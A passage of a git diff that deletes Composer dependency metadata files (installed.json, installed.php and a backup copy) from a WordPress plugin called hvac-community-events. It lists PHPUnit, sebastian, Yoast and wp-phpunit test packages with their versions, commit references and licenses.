"https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../sebastian/version" - }, - { - "name": "theseer/tokenizer", - "version": "1.2.3", - "version_normalized": "1.2.3.0", - "source": { - "type": "git", - "url": "https://github.com/theseer/tokenizer.git", - "reference": "737eda637ed5e28c3413cb1ebe8bb52cbf1ca7a2" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/theseer/tokenizer/zipball/737eda637ed5e28c3413cb1ebe8bb52cbf1ca7a2", - "reference": "737eda637ed5e28c3413cb1ebe8bb52cbf1ca7a2", - "shasum": "" - }, - "require": { - "ext-dom": "*", - "ext-tokenizer": "*", - "ext-xmlwriter": "*", - "php": "^7.2 || ^8.0" - }, - "time": "2024-03-03T12:36:25+00:00", - "type": "library", - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Arne Blankerts", - "email": "arne@blankerts.de", - "role": "Developer" - } - ], - "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", - "support": { - "issues": "https://github.com/theseer/tokenizer/issues", - "source": "https://github.com/theseer/tokenizer/tree/1.2.3" - }, - "funding": [ - { - "url": "https://github.com/theseer", - "type": "github" - } - ], - "install-path": "../theseer/tokenizer" - }, - { - "name": "wp-phpunit/wp-phpunit", - "version": "6.7.2", - "version_normalized": "6.7.2.0", - "source": { - "type": "git", - "url": "https://github.com/wp-phpunit/wp-phpunit.git", - "reference": "e2bb06bacc92a8e9e405e83f56989e8ed9359db1" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/wp-phpunit/wp-phpunit/zipball/e2bb06bacc92a8e9e405e83f56989e8ed9359db1", - "reference": "e2bb06bacc92a8e9e405e83f56989e8ed9359db1", - "shasum": "" - }, - "time": "2025-02-12T01:22:52+00:00", - "type": "library", - "installation-source": "dist", - "autoload": { - "files": [ - "__loaded.php" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "GPL-2.0-or-later" - ], - "authors": [ - { - "name": "Evan Mattson", - "email": "me@aaemnnost.tv" - }, - { - "name": "WordPress Community", - "homepage": "https://wordpress.org/about/" - } - ], - "description": "WordPress core PHPUnit library", - "homepage": "https://github.com/wp-phpunit", - "keywords": [ - "phpunit", - "test", - "wordpress" - ], - "support": { - "docs": "https://github.com/wp-phpunit/docs", - "issues": "https://github.com/wp-phpunit/issues", - "source": "https://github.com/wp-phpunit/wp-phpunit" - }, - "install-path": "../wp-phpunit/wp-phpunit" - }, - { - "name": "yoast/phpunit-polyfills", - "version": "1.1.4", - "version_normalized": "1.1.4.0", - "source": { - "type": "git", - "url": "https://github.com/Yoast/PHPUnit-Polyfills.git", - "reference": "e6faedf5e34cea4438e341f660e2f719760c531d" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/Yoast/PHPUnit-Polyfills/zipball/e6faedf5e34cea4438e341f660e2f719760c531d", - "reference": "e6faedf5e34cea4438e341f660e2f719760c531d", - "shasum": "" - }, - "require": { - "php": ">=5.4", - "phpunit/phpunit": "^4.8.36 || ^5.7.21 || ^6.0 || ^7.0 || ^8.0 || ^9.0" - }, - "require-dev": { - "php-parallel-lint/php-console-highlighter": "^1.0.0", - "php-parallel-lint/php-parallel-lint": "^1.4.0", - "yoast/yoastcs": "^3.1.0" - }, - "time": "2025-02-09T18:13:44+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-main": "4.x-dev" - } - }, - "installation-source": "dist", - "autoload": { - "files": [ - "phpunitpolyfills-autoload.php" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Team Yoast", - "email": "support@yoast.com", - "homepage": "https://yoast.com" - }, - { - "name": "Contributors", - "homepage": "https://github.com/Yoast/PHPUnit-Polyfills/graphs/contributors" - } - ], - "description": "Set of polyfills for changed PHPUnit functionality to allow for creating PHPUnit cross-version compatible tests", - "homepage": "https://github.com/Yoast/PHPUnit-Polyfills", - "keywords": [ - "phpunit", - "polyfill", - "testing" - ], - "support": { - "issues": "https://github.com/Yoast/PHPUnit-Polyfills/issues", - "security": "https://github.com/Yoast/PHPUnit-Polyfills/security/policy", - "source": "https://github.com/Yoast/PHPUnit-Polyfills" - }, - "install-path": "../yoast/phpunit-polyfills" - }, - { - "name": "yoast/wp-test-utils", - "version": "1.2.0", - "version_normalized": "1.2.0.0", - "source": { - "type": "git", - "url": "https://github.com/Yoast/wp-test-utils.git", - "reference": "2e0f62e0281e4859707c5f13b7da1422aa1c8f7b" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/Yoast/wp-test-utils/zipball/2e0f62e0281e4859707c5f13b7da1422aa1c8f7b", - "reference": "2e0f62e0281e4859707c5f13b7da1422aa1c8f7b", - "shasum": "" - }, - "require": { - "brain/monkey": "^2.6.1", - "php": ">=5.6", - "yoast/phpunit-polyfills": "^1.1.0" - }, - "require-dev": { - "yoast/yoastcs": "^2.3.1" - }, - "time": "2023-09-27T10:25:08+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-main": "1.x-dev", - "dev-develop": "1.x-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ], - "exclude-from-classmap": [ - "/src/WPIntegration/TestCase.php", - "/src/WPIntegration/TestCaseNoPolyfills.php" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Team Yoast", - "email": "support@yoast.com", - "homepage": "https://yoast.com" - }, - { - "name": "Contributors", - "homepage": "https://github.com/Yoast/wp-test-utils/graphs/contributors" - } - ], - "description": "PHPUnit cross-version compatibility layer for testing plugins and themes build for WordPress", - "homepage": "https://github.com/Yoast/wp-test-utils/", - "keywords": [ - "brainmonkey", - "integration-testing", - "phpunit", - "testing", - "unit-testing", - "wordpress" - ], - "support": { - "issues": "https://github.com/Yoast/wp-test-utils/issues", - "source": "https://github.com/Yoast/wp-test-utils" - }, - "install-path": "../yoast/wp-test-utils" - } - ], - "dev": true, - "dev-package-names": [ - "antecedent/patchwork", - "brain/monkey", - "doctrine/instantiator", - "hamcrest/hamcrest-php", - "mockery/mockery", - "myclabs/deep-copy", - "nikic/php-parser", - "phar-io/manifest", - "phar-io/version", - "phpunit/php-code-coverage", - "phpunit/php-file-iterator", - "phpunit/php-invoker", - "phpunit/php-text-template", - "phpunit/php-timer", - "phpunit/phpunit", - "sebastian/cli-parser", - "sebastian/code-unit", - "sebastian/code-unit-reverse-lookup", - "sebastian/comparator", - "sebastian/complexity", - "sebastian/diff", - "sebastian/environment", - "sebastian/exporter", - "sebastian/global-state", - "sebastian/lines-of-code", - "sebastian/object-enumerator", - "sebastian/object-reflector", - "sebastian/recursion-context", - "sebastian/resource-operations", - "sebastian/type", - "sebastian/version", - "theseer/tokenizer", - "wp-phpunit/wp-phpunit", - "yoast/phpunit-polyfills", - "yoast/wp-test-utils" - ] -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installed.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installed.php deleted file mode 100644 index 4192c1de..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installed.php +++ /dev/null @@ -1,377 +0,0 @@ - array( - 'name' => 'upskill/hvac-community-events', - 'pretty_version' => 'dev-main', - 'version' => 'dev-main', - 'reference' => '5af52fcab993fb6e4a9633e0ef329b29f36855ae', - 'type' => 'wordpress-plugin', - 'install_path' => __DIR__ . '/../../', - 'aliases' => array(), - 'dev' => true, - ), - 'versions' => array( - 'antecedent/patchwork' => array( - 'pretty_version' => '2.2.1', - 'version' => '2.2.1.0', - 'reference' => '1bf183a3e1bd094f231a2128b9ecc5363c269245', - 'type' => 'library', - 'install_path' => __DIR__ . '/../antecedent/patchwork', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'brain/monkey' => array( - 'pretty_version' => '2.6.2', - 'version' => '2.6.2.0', - 'reference' => 'd95a9d895352c30f47604ad1b825ab8fa9d1a373', - 'type' => 'library', - 'install_path' => __DIR__ . '/../brain/monkey', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'composer/installers' => array( - 'pretty_version' => 'v1.12.0', - 'version' => '1.12.0.0', - 'reference' => 'd20a64ed3c94748397ff5973488761b22f6d3f19', - 'type' => 'composer-plugin', - 'install_path' => __DIR__ . '/./installers', - 'aliases' => array(), - 'dev_requirement' => false, - ), - 'cordoval/hamcrest-php' => array( - 'dev_requirement' => true, - 'replaced' => array( - 0 => '*', - ), - ), - 'davedevelopment/hamcrest-php' => array( - 'dev_requirement' => true, - 'replaced' => array( - 0 => '*', - ), - ), - 'doctrine/instantiator' => array( - 'pretty_version' => '2.0.0', - 'version' => '2.0.0.0', - 'reference' => 'c6222283fa3f4ac679f8b9ced9a4e23f163e80d0', - 'type' => 'library', - 'install_path' => __DIR__ . '/../doctrine/instantiator', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'hamcrest/hamcrest-php' => array( - 'pretty_version' => 'v2.0.1', - 'version' => '2.0.1.0', - 'reference' => '8c3d0a3f6af734494ad8f6fbbee0ba92422859f3', - 'type' => 'library', - 'install_path' => __DIR__ . '/../hamcrest/hamcrest-php', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'kodova/hamcrest-php' => array( - 'dev_requirement' => true, - 'replaced' => array( - 0 => '*', - ), - ), - 'mockery/mockery' => array( - 'pretty_version' => '1.6.12', - 'version' => '1.6.12.0', - 'reference' => '1f4efdd7d3beafe9807b08156dfcb176d18f1699', - 'type' => 'library', - 'install_path' => __DIR__ . '/../mockery/mockery', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'myclabs/deep-copy' => array( - 'pretty_version' => '1.13.0', - 'version' => '1.13.0.0', - 'reference' => '024473a478be9df5fdaca2c793f2232fe788e414', - 'type' => 'library', - 'install_path' => __DIR__ . '/../myclabs/deep-copy', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'nikic/php-parser' => array( - 'pretty_version' => 'v5.4.0', - 'version' => '5.4.0.0', - 'reference' => '447a020a1f875a434d62f2a401f53b82a396e494', - 'type' => 'library', - 'install_path' => __DIR__ . '/../nikic/php-parser', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'phar-io/manifest' => array( - 'pretty_version' => '2.0.4', - 'version' => '2.0.4.0', - 'reference' => '54750ef60c58e43759730615a392c31c80e23176', - 'type' => 'library', - 'install_path' => __DIR__ . '/../phar-io/manifest', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'phar-io/version' => array( - 'pretty_version' => '3.2.1', - 'version' => '3.2.1.0', - 'reference' => '4f7fd7836c6f332bb2933569e566a0d6c4cbed74', - 'type' => 'library', - 'install_path' => __DIR__ . '/../phar-io/version', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'phpunit/php-code-coverage' => array( - 'pretty_version' => '9.2.32', - 'version' => '9.2.32.0', - 'reference' => '85402a822d1ecf1db1096959413d35e1c37cf1a5', - 'type' => 'library', - 'install_path' => __DIR__ . '/../phpunit/php-code-coverage', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'phpunit/php-file-iterator' => array( - 'pretty_version' => '3.0.6', - 'version' => '3.0.6.0', - 'reference' => 'cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf', - 'type' => 'library', - 'install_path' => __DIR__ . '/../phpunit/php-file-iterator', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'phpunit/php-invoker' => array( - 'pretty_version' => '3.1.1', - 'version' => '3.1.1.0', - 'reference' => '5a10147d0aaf65b58940a0b72f71c9ac0423cc67', - 'type' => 'library', - 'install_path' => __DIR__ . '/../phpunit/php-invoker', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'phpunit/php-text-template' => array( - 'pretty_version' => '2.0.4', - 'version' => '2.0.4.0', - 'reference' => '5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28', - 'type' => 'library', - 'install_path' => __DIR__ . '/../phpunit/php-text-template', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'phpunit/php-timer' => array( - 'pretty_version' => '5.0.3', - 'version' => '5.0.3.0', - 'reference' => '5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2', - 'type' => 'library', - 'install_path' => __DIR__ . '/../phpunit/php-timer', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'phpunit/phpunit' => array( - 'pretty_version' => '9.6.22', - 'version' => '9.6.22.0', - 'reference' => 'f80235cb4d3caa59ae09be3adf1ded27521d1a9c', - 'type' => 'library', - 'install_path' => __DIR__ . '/../phpunit/phpunit', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'roundcube/plugin-installer' => array( - 'dev_requirement' => false, - 'replaced' => array( - 0 => '*', - ), - ), - 'sebastian/cli-parser' => array( - 'pretty_version' => '1.0.2', - 'version' => '1.0.2.0', - 'reference' => '2b56bea83a09de3ac06bb18b92f068e60cc6f50b', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/cli-parser', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/code-unit' => array( - 'pretty_version' => '1.0.8', - 'version' => '1.0.8.0', - 'reference' => '1fc9f64c0927627ef78ba436c9b17d967e68e120', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/code-unit', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/code-unit-reverse-lookup' => array( - 'pretty_version' => '2.0.3', - 'version' => '2.0.3.0', - 'reference' => 'ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/code-unit-reverse-lookup', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/comparator' => array( - 'pretty_version' => '4.0.8', - 'version' => '4.0.8.0', - 'reference' => 'fa0f136dd2334583309d32b62544682ee972b51a', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/comparator', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/complexity' => array( - 'pretty_version' => '2.0.3', - 'version' => '2.0.3.0', - 'reference' => '25f207c40d62b8b7aa32f5ab026c53561964053a', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/complexity', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/diff' => array( - 'pretty_version' => '4.0.6', - 'version' => '4.0.6.0', - 'reference' => 'ba01945089c3a293b01ba9badc29ad55b106b0bc', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/diff', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/environment' => array( - 'pretty_version' => '5.1.5', - 'version' => '5.1.5.0', - 'reference' => '830c43a844f1f8d5b7a1f6d6076b784454d8b7ed', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/environment', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/exporter' => array( - 'pretty_version' => '4.0.6', - 'version' => '4.0.6.0', - 'reference' => '78c00df8f170e02473b682df15bfcdacc3d32d72', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/exporter', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/global-state' => array( - 'pretty_version' => '5.0.7', - 'version' => '5.0.7.0', - 'reference' => 'bca7df1f32ee6fe93b4d4a9abbf69e13a4ada2c9', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/global-state', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/lines-of-code' => array( - 'pretty_version' => '1.0.4', - 'version' => '1.0.4.0', - 'reference' => 'e1e4a170560925c26d424b6a03aed157e7dcc5c5', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/lines-of-code', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/object-enumerator' => array( - 'pretty_version' => '4.0.4', - 'version' => '4.0.4.0', - 'reference' => '5c9eeac41b290a3712d88851518825ad78f45c71', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/object-enumerator', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/object-reflector' => array( - 'pretty_version' => '2.0.4', - 'version' => '2.0.4.0', - 'reference' => 'b4f479ebdbf63ac605d183ece17d8d7fe49c15c7', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/object-reflector', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/recursion-context' => array( - 'pretty_version' => '4.0.5', - 'version' => '4.0.5.0', - 'reference' => 'e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/recursion-context', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/resource-operations' => array( - 'pretty_version' => '3.0.4', - 'version' => '3.0.4.0', - 'reference' => '05d5692a7993ecccd56a03e40cd7e5b09b1d404e', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/resource-operations', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/type' => array( - 'pretty_version' => '3.2.1', - 'version' => '3.2.1.0', - 'reference' => '75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/type', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/version' => array( - 'pretty_version' => '3.0.2', - 'version' => '3.0.2.0', - 'reference' => 'c6c1022351a901512170118436c764e473f6de8c', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/version', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'shama/baton' => array( - 'dev_requirement' => false, - 'replaced' => array( - 0 => '*', - ), - ), - 'theseer/tokenizer' => array( - 'pretty_version' => '1.2.3', - 'version' => '1.2.3.0', - 'reference' => '737eda637ed5e28c3413cb1ebe8bb52cbf1ca7a2', - 'type' => 'library', - 'install_path' => __DIR__ . '/../theseer/tokenizer', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'upskill/hvac-community-events' => array( - 'pretty_version' => 'dev-main', - 'version' => 'dev-main', - 'reference' => '5af52fcab993fb6e4a9633e0ef329b29f36855ae', - 'type' => 'wordpress-plugin', - 'install_path' => __DIR__ . '/../../', - 'aliases' => array(), - 'dev_requirement' => false, - ), - 'wp-phpunit/wp-phpunit' => array( - 'pretty_version' => '6.7.2', - 'version' => '6.7.2.0', - 'reference' => 'e2bb06bacc92a8e9e405e83f56989e8ed9359db1', - 'type' => 'library', - 'install_path' => __DIR__ . '/../wp-phpunit/wp-phpunit', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'yoast/phpunit-polyfills' => array( - 'pretty_version' => '1.1.4', - 'version' => '1.1.4.0', - 'reference' => 'e6faedf5e34cea4438e341f660e2f719760c531d', - 'type' => 'library', - 'install_path' => __DIR__ . '/../yoast/phpunit-polyfills', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'yoast/wp-test-utils' => array( - 'pretty_version' => '1.2.0', - 'version' => '1.2.0.0', - 'reference' => '2e0f62e0281e4859707c5f13b7da1422aa1c8f7b', - 'type' => 'library', - 'install_path' => __DIR__ . '/../yoast/wp-test-utils', - 'aliases' => array(), - 'dev_requirement' => true, - ), - ), -); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installed.php.bak.20250424054541 b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installed.php.bak.20250424054541 deleted file mode 100644 index afe41806..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installed.php.bak.20250424054541 +++ /dev/null @@ -1,377 +0,0 @@ - array( - 'name' => 'upskill/hvac-community-events', - 'pretty_version' => 'dev-main', - 'version' => 'dev-main', - 'reference' => '5af52fcab993fb6e4a9633e0ef329b29f36855ae', - 'type' => 'wordpress-plugin', - 'install_path' => __DIR__ . '/../../', - 'aliases' => array(), - 'dev' => true, - ), - 'versions' => array( - 'antecedent/patchwork' => array( - 'pretty_version' => '2.2.1', - 'version' => '2.2.1.0', - 'reference' => '1bf183a3e1bd094f231a2128b9ecc5363c269245', - 'type' => 'library', - 'install_path' => __DIR__ . '/../antecedent/patchwork', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'brain/monkey' => array( - 'pretty_version' => '2.6.2', - 'version' => '2.6.2.0', - 'reference' => 'd95a9d895352c30f47604ad1b825ab8fa9d1a373', - 'type' => 'library', - 'install_path' => __DIR__ . '/../brain/monkey', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'composer/installers' => array( - 'pretty_version' => 'v1.12.0', - 'version' => '1.12.0.0', - 'reference' => 'd20a64ed3c94748397ff5973488761b22f6d3f19', - 'type' => 'composer-plugin', - 'install_path' => __DIR__ . '/./installers', - 'aliases' => array(), - 'dev_requirement' => false, - ), - 'cordoval/hamcrest-php' => array( - 'dev_requirement' => true, - 'replaced' => array( - 0 => '*', - ), - ), - 'davedevelopment/hamcrest-php' => array( - 'dev_requirement' => true, - 'replaced' => array( - 0 => '*', - ), - ), - 'doctrine/instantiator' => array( - 'pretty_version' => '2.0.0', - 'version' => '2.0.0.0', - 'reference' => 'c6222283fa3f4ac679f8b9ced9a4e23f163e80d0', - 'type' => 'library', - 'install_path' => __DIR__ . '/../doctrine/instantiator', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'hamcrest/hamcrest-php' => array( - 'pretty_version' => 'v2.0.1', - 'version' => '2.0.1.0', - 'reference' => '8c3d0a3f6af734494ad8f6fbbee0ba92422859f3', - 'type' => 'library', - 'install_path' => __DIR__ . '/../hamcrest/hamcrest-php', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'kodova/hamcrest-php' => array( - 'dev_requirement' => true, - 'replaced' => array( - 0 => '*', - ), - ), - 'mockery/mockery' => array( - 'pretty_version' => '1.6.12', - 'version' => '1.6.12.0', - 'reference' => '1f4efdd7d3beafe9807b08156dfcb176d18f1699', - 'type' => 'library', - 'install_path' => __DIR__ . '/../mockery/mockery', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'myclabs/deep-copy' => array( - 'pretty_version' => '1.13.0', - 'version' => '1.13.0.0', - 'reference' => '024473a478be9df5fdaca2c793f2232fe788e414', - 'type' => 'library', - 'install_path' => __DIR__ . '/../myclabs/deep-copy', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'nikic/php-parser' => array( - 'pretty_version' => 'v5.4.0', - 'version' => '5.4.0.0', - 'reference' => '447a020a1f875a434d62f2a401f53b82a396e494', - 'type' => 'library', - 'install_path' => __DIR__ . '/../nikic/php-parser', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'phar-io/manifest' => array( - 'pretty_version' => '2.0.4', - 'version' => '2.0.4.0', - 'reference' => '54750ef60c58e43759730615a392c31c80e23176', - 'type' => 'library', - 'install_path' => __DIR__ . '/../phar-io/manifest', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'phar-io/version' => array( - 'pretty_version' => '3.2.1', - 'version' => '3.2.1.0', - 'reference' => '4f7fd7836c6f332bb2933569e566a0d6c4cbed74', - 'type' => 'library', - 'install_path' => __DIR__ . '/../phar-io/version', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'phpunit/php-code-coverage' => array( - 'pretty_version' => '9.2.32', - 'version' => '9.2.32.0', - 'reference' => '85402a822d1ecf1db1096959413d35e1c37cf1a5', - 'type' => 'library', - 'install_path' => __DIR__ . '/../phpunit/php-code-coverage', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'phpunit/php-file-iterator' => array( - 'pretty_version' => '3.0.6', - 'version' => '3.0.6.0', - 'reference' => 'cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf', - 'type' => 'library', - 'install_path' => __DIR__ . '/../phpunit/php-file-iterator', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'phpunit/php-invoker' => array( - 'pretty_version' => '3.1.1', - 'version' => '3.1.1.0', - 'reference' => '5a10147d0aaf65b58940a0b72f71c9ac0423cc67', - 'type' => 'library', - 'install_path' => __DIR__ . '/../phpunit/php-invoker', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'phpunit/php-text-template' => array( - 'pretty_version' => '2.0.4', - 'version' => '2.0.4.0', - 'reference' => '5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28', - 'type' => 'library', - 'install_path' => __DIR__ . '/../phpunit/php-text-template', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'phpunit/php-timer' => array( - 'pretty_version' => '5.0.3', - 'version' => '5.0.3.0', - 'reference' => '5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2', - 'type' => 'library', - 'install_path' => __DIR__ . '/../phpunit/php-timer', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'phpunit/phpunit' => array( - 'pretty_version' => '9.6.22', - 'version' => '9.6.22.0', - 'reference' => 'f80235cb4d3caa59ae09be3adf1ded27521d1a9c', - 'type' => 'library', - 'install_path' => __DIR__ . '/../phpunit/phpunit', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'roundcube/plugin-installer' => array( - 'dev_requirement' => false, - 'replaced' => array( - 0 => '*', - ), - ), - 'sebastian/cli-parser' => array( - 'pretty_version' => '1.0.2', - 'version' => '1.0.2.0', - 'reference' => '2b56bea83a09de3ac06bb18b92f068e60cc6f50b', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/cli-parser', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/code-unit' => array( - 'pretty_version' => '1.0.8', - 'version' => '1.0.8.0', - 'reference' => '1fc9f64c0927627ef78ba436c9b17d967e68e120', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/code-unit', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/code-unit-reverse-lookup' => array( - 'pretty_version' => '2.0.3', - 'version' => '2.0.3.0', - 'reference' => 'ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/code-unit-reverse-lookup', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/comparator' => array( - 'pretty_version' => '4.0.8', - 'version' => '4.0.8.0', - 'reference' => 'fa0f136dd2334583309d32b62544682ee972b51a', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/comparator', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/complexity' => array( - 'pretty_version' => '2.0.3', - 'version' => '2.0.3.0', - 'reference' => '25f207c40d62b8b7aa32f5ab026c53561964053a', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/complexity', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/diff' => array( - 'pretty_version' => '4.0.6', - 'version' => '4.0.6.0', - 'reference' => 'ba01945089c3a293b01ba9badc29ad55b106b0bc', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/diff', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/environment' => array( - 'pretty_version' => '5.1.5', - 'version' => '5.1.5.0', - 'reference' => '830c43a844f1f8d5b7a1f6d6076b784454d8b7ed', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/environment', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/exporter' => array( - 'pretty_version' => '4.0.6', - 'version' => '4.0.6.0', - 'reference' => '78c00df8f170e02473b682df15bfcdacc3d32d72', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/exporter', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/global-state' => array( - 'pretty_version' => '5.0.7', - 'version' => '5.0.7.0', - 'reference' => 'bca7df1f32ee6fe93b4d4a9abbf69e13a4ada2c9', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/global-state', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/lines-of-code' => array( - 'pretty_version' => '1.0.4', - 'version' => '1.0.4.0', - 'reference' => 'e1e4a170560925c26d424b6a03aed157e7dcc5c5', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/lines-of-code', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/object-enumerator' => array( - 'pretty_version' => '4.0.4', - 'version' => '4.0.4.0', - 'reference' => '5c9eeac41b290a3712d88851518825ad78f45c71', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/object-enumerator', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/object-reflector' => array( - 'pretty_version' => '2.0.4', - 'version' => '2.0.4.0', - 'reference' => 'b4f479ebdbf63ac605d183ece17d8d7fe49c15c7', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/object-reflector', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/recursion-context' => array( - 'pretty_version' => '4.0.5', - 'version' => '4.0.5.0', - 'reference' => 'e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/recursion-context', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/resource-operations' => array( - 'pretty_version' => '3.0.4', - 'version' => '3.0.4.0', - 'reference' => '05d5692a7993ecccd56a03e40cd7e5b09b1d404e', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/resource-operations', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/type' => array( - 'pretty_version' => '3.2.1', - 'version' => '3.2.1.0', - 'reference' => '75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/type', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'sebastian/version' => array( - 'pretty_version' => '3.0.2', - 'version' => 